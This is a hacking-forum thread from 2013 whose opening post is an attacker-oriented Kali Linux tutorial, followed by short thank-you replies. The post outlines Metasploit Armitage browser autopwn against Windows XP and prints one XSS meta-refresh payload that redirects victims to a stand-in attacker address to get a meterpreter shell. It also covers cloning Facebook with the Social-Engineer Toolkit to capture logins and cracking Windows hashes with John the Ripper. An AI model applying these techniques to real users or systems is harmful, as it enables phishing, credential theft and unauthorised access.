1. This site uses cookies. By continuing to use this site, you are agreeing to our use of cookies. Learn More.

TUTORIAL - Exploitation

Discussion in 'Exploitation' started by Witranx, Apr 1, 2013.

  1. Witranx

    Witranx Staff Member


    In this Kali tutorial, we will use Kali tools to exploit a remote system and learn how the exploitation framework can be used with the privilege escalation tool John the Ripper to crack passwords and gain access to a remote Windows system.

    Metasploit Armitage;

    Metasploit Armitage is the GUI version of the famous Metasploit framework. In this part , we will look at the browser autopwn exploit for Windows XP using Metasploit Armitage.

    Features of this attack:
    1. Use of the auxiliary module of Metasploit Armitage.
    2. Around 22 exploit modules used to carry out the attack
    3. Use of the social engineering approach
    4. Auto-migration to notepad.exe from the browser process
    For this exploit, you need a site with a cross-site scripting (XSS) URL redirection vulnerability. The victim clicks on a particular URL in the browser, which spawns a meterpreter shell in the victim’s system. The URL redirection code will look something like:

    http://vulnerablesite?c="><meta HTTPEQUIV="REFRESH" content="0; url=http://attackerIPaddress ">
    The auto-migration feature is used to spawn the exploit into a new process, because if the exploit is not migrated, the whole attack will terminate when the user closes the browser. Migration is therefore done automatically to maintain prolonged access.

    Social-Engineer Toolkit

    In this Kali , I will discuss a type of attack called tab nabbing. In this attack, the victim opens a link in a browser, but as soon as he changes to another tab, the original page is replaced with a fake page, which allows attacker(s) to gain the victim’s login credentials. The victim is duped into entering his username and password on a fake site.
    In this “social engineering” attack, we choose a website attack vector and the option to clone the website. We specify the site to clone, whose login credentials we desire to obtain. I have cloned Facebook in this Kali guide for demonstration purposes only*. Please note that cloning will not occur if you are not connected to the Internet during the process.


    A fake Facebook login page created by the Social Engineer Toolkit based on options set
    by the attacker.
    POST Data captured by the Social Engineer Toolkit framework from a fake Facebook login page.
    Privilege Escalation tools
    We may not always gain administrator or superuser access to a remote system. As an attacker, we need maximum privileges on the target to execute our payloads and perform desired actions. Kali offers a wide range of privilege escalation tools to meet these needs, as shown in Figure 5 of this Kali guide.
    John the Ripper;
    Once the victim has been compromised (please refer to above articles on SET and MsF for more details), the password cracker John the Ripper can be used to crack the Windows hashes to escalate privileges and gain administrator rights to the system.
    After exploitation, the hashes are dumped to a text file, and this text file is supplied to John the Ripper. John the Ripper is a very effective tool for cracking password hashes of remote systems once the hashes are available. The attack demonstrated in this Kali guide can be carried out with either the Metasploit Framework or the Social Engineer Toolkit.

    With these passwords in hand, we can now escalate our privileges on the target system.

    It is evident from this guide that Kali and a crafty attacker can make maximum use of these tools, and combine them to maximize his benefits. This Kali guide highlights the most important exploitation and privilege escalation tools. In the Kali guides to come, I will cover some more exploitation and privilege escalation techniques.

    wlan0 and DarkSolo like this.
  2. DarkSolo

    DarkSolo Staff Member

    Good job !
    Witranx likes this.
  3. Witranx

    Witranx Staff Member

  4. danlix

    danlix New Member

  5. Lotfi

    Lotfi New Member

    many thanks
  6. WarLock

    WarLock New Member

    what the same step exploit in backtrack and kali ?
  7. José Brito

    José Brito New Member

    Thanks a lot for this tutorial ;)
  8. St3altH

    St3altH New Member

    sorry...nice summary, but where is the tutorial ?
    leon kilat likes this.

    IT-HACKERs New Member

    matur suwun....mbah...
  10. hDNA

    hDNA New Member

  11. dragon

    dragon New Member

    bro Thanks share :) this tutorial
  12. fareezizwar

    fareezizwar New Member

    Thank share ;)
  13. Crius

    Crius New Member

    thanks for the share! very informative! ...
  14. leon kilat

    leon kilat New Member

    yeah, where is the tutorial?
  15. #KILLC0D3

    #KILLC0D3 New Member

    nice one bto :) thnkx
  16. rEvolt!

    rEvolt! New Member

    Nice Sharing bro :D But I want to know how to change our ip to DNS
    Can i use like tinyurl.com ?
  17. NY-Freaks

    NY-Freaks New Member

Share This Page